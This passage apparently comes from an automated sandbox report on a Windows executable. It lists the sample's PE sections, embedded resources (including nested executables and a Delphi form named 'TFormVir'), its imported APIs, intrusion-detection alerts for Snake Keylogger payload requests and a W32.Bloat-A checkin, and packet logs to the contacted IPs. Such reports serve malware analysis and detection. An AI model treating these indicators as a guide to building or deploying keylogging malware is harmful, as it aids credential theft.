.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x58288	0x58400	c857884e8c6f99827f033b83788aea21	False	0.7942938872167139	data	7.438111819013504	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0dc8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb0efc	0x134	data			0.4642857142857143
RT_CURSOR	0xb1030	0x134	data			0.4805194805194805
RT_CURSOR	0xb1164	0x134	data			0.38311688311688313
RT_CURSOR	0xb1298	0x134	data			0.36038961038961037
RT_CURSOR	0xb13cc	0x134	data			0.4090909090909091
RT_CURSOR	0xb1500	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb1634	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1804	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb19e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1bb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0xb1d88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb1f58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb2128	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb22f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb24c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2698	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2868	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2950	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.07223264540337711
RT_ICON	0xb39f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_DIALOG	0xb4aa0	0x52	data			0.7682926829268293
RT_STRING	0xb4af4	0x358	data			0.3796728971962617
RT_STRING	0xb4e4c	0x428	data			0.37406015037593987
RT_STRING	0xb5274	0x3a4	data			0.40879828326180256
RT_STRING	0xb5618	0x3bc	data			0.33472803347280333
RT_STRING	0xb59d4	0x2d4	data			0.4654696132596685
RT_STRING	0xb5ca8	0x334	data			0.42804878048780487
RT_STRING	0xb5fdc	0x42c	data			0.42602996254681647
RT_STRING	0xb6408	0x1f0	data			0.4213709677419355
RT_STRING	0xb65f8	0x1c0	data			0.44419642857142855
RT_STRING	0xb67b8	0xdc	data			0.6
RT_STRING	0xb6894	0x320	data			0.45125
RT_STRING	0xb6bb4	0xd8	data			0.5879629629629629
RT_STRING	0xb6c8c	0x118	data			0.5678571428571428
RT_STRING	0xb6da4	0x268	data			0.4707792207792208
RT_STRING	0xb700c	0x3f8	data			0.37598425196850394
RT_STRING	0xb7404	0x378	data			0.41103603603603606
RT_STRING	0xb777c	0x380	data			0.35379464285714285
RT_STRING	0xb7afc	0x374	data			0.4061085972850679
RT_STRING	0xb7e70	0xe0	data			0.5535714285714286
RT_STRING	0xb7f50	0xbc	data			0.526595744680851
RT_STRING	0xb800c	0x368	data			0.40940366972477066
RT_STRING	0xb8374	0x3fc	data			0.34901960784313724
RT_STRING	0xb8770	0x2fc	data			0.36649214659685864
RT_STRING	0xb8a6c	0x354	data			0.31572769953051644
RT_RCDATA	0xb8dc0	0x44	data			0.8676470588235294
RT_RCDATA	0xb8e04	0x10	data			1.5
RT_RCDATA	0xb8e14	0x46558	PE32 executable (GUI) Intel 80386, for MS Windows, MS CAB-Installer self-extracting archive			0.8737573241509539
RT_RCDATA	0xff36c	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0xff370	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0x102f70	0x64c	data			0.5998759305210918
RT_RCDATA	0x1035bc	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0x103710	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0x107ee4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x107ef8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x107f0c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x107f20	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x107f34	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x107f48	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x107f5c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x107f70	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0x107f84	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-02T20:28:46.292943+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49730	216.58.206.78	443	TCP
2025-01-02T20:28:46.342060+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49731	216.58.206.78	443	TCP
2025-01-02T20:28:46.764779+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.7	49738	69.42.215.252	80	TCP
2025-01-02T20:28:47.366507+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49739	216.58.206.78	443	TCP
2025-01-02T20:28:47.388273+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49742	216.58.206.78	443	TCP
2025-01-02T20:28:48.475179+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49749	216.58.206.78	443	TCP
2025-01-02T20:28:48.480400+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49750	216.58.206.78	443	TCP
2025-01-02T20:28:49.566636+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49760	216.58.206.78	443	TCP
2025-01-02T20:28:49.573037+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49761	216.58.206.78	443	TCP
2025-01-02T20:28:51.082721+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49783	216.58.206.78	443	TCP
2025-01-02T20:28:51.094820+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49782	216.58.206.78	443	TCP
2025-01-02T20:28:52.108314+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49797	216.58.206.78	443	TCP
2025-01-02T20:28:52.131513+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49796	216.58.206.78	443	TCP
2025-01-02T20:28:53.145116+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49805	216.58.206.78	443	TCP
2025-01-02T20:28:53.150369+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49806	216.58.206.78	443	TCP
2025-01-02T20:28:54.045246+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49816	216.58.206.78	443	TCP
2025-01-02T20:28:54.045308+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49815	216.58.206.78	443	TCP
2025-01-02T20:28:55.072174+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49831	216.58.206.78	443	TCP
2025-01-02T20:28:55.086087+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49832	216.58.206.78	443	TCP
2025-01-02T20:28:56.208084+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49840	216.58.206.78	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 20:28:45.261101961 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.261125088 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.261198997 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.270072937 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.270087004 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.295772076 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.295814991 CET	443	49731	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.295882940 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.296173096 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.296185017 CET	443	49731	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.902456045 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.902637005 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.903249025 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.903343916 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.950248003 CET	443	49731	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.950331926 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.951348066 CET	443	49731	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.951412916 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.957684994 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.957711935 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.958028078 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.958122015 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.962150097 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.964319944 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.964359045 CET	443	49731	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.964798927 CET	443	49731	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:45.964904070 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:45.966960907 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.007334948 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.011332989 CET	443	49731	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.134057045 CET	49738	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:28:46.138921022 CET	80	49738	69.42.215.252	192.168.2.7
Jan 2, 2025 20:28:46.139066935 CET	49738	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:28:46.139233112 CET	49738	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:28:46.144007921 CET	80	49738	69.42.215.252	192.168.2.7
Jan 2, 2025 20:28:46.292962074 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.293339014 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.293354034 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.293493032 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.295547962 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.295591116 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.295605898 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.295665979 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.313131094 CET	49730	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.313157082 CET	443	49730	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.314975977 CET	49739	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.315009117 CET	443	49739	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.315162897 CET	49739	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.319178104 CET	49739	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.319189072 CET	443	49739	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.330724001 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:46.330756903 CET	443	49740	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:46.330816984 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:46.331321001 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:46.331331015 CET	443	49740	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:46.342103958 CET	443	49731	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.342190027 CET	443	49731	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.342225075 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.342381954 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.342381954 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.342394114 CET	443	49731	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.342432976 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.342540979 CET	49731	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.343127966 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:46.343164921 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:46.343318939 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:46.343338013 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.343367100 CET	443	49742	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.343820095 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.344110012 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:46.344124079 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:46.345586061 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.345601082 CET	443	49742	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.764683962 CET	80	49738	69.42.215.252	192.168.2.7
Jan 2, 2025 20:28:46.764779091 CET	49738	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:28:46.965548038 CET	443	49739	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.965610981 CET	49739	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:46.979306936 CET	443	49740	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:46.979402065 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:46.985682964 CET	443	49742	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:46.985769987 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.001939058 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.002037048 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.067017078 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.067080021 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.067445993 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.067481995 CET	49739	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.067497969 CET	443	49739	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.067503929 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.069472075 CET	49739	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.069480896 CET	443	49739	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.069849968 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.075491905 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.075500011 CET	443	49742	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.078186989 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.078197956 CET	443	49742	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.079087019 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.079098940 CET	443	49740	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.079411030 CET	443	49740	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.079461098 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.082020998 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.115334988 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.127334118 CET	443	49740	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.366503954 CET	443	49739	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.366569996 CET	49739	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.366597891 CET	443	49739	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.366662025 CET	49739	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.366784096 CET	49739	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.366832018 CET	443	49739	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.366904020 CET	49739	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.367428064 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.367460012 CET	443	49749	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.367543936 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.367727995 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.367738962 CET	443	49749	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.388284922 CET	443	49742	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.388358116 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.389545918 CET	443	49742	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.389586926 CET	443	49742	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.389605999 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.389682055 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.390887022 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.390902996 CET	443	49742	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.390943050 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.390943050 CET	49742	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.391676903 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.391711950 CET	443	49750	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.391767979 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.392153978 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:47.392172098 CET	443	49750	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:47.414731026 CET	443	49740	142.250.186.129	192.168.2.7
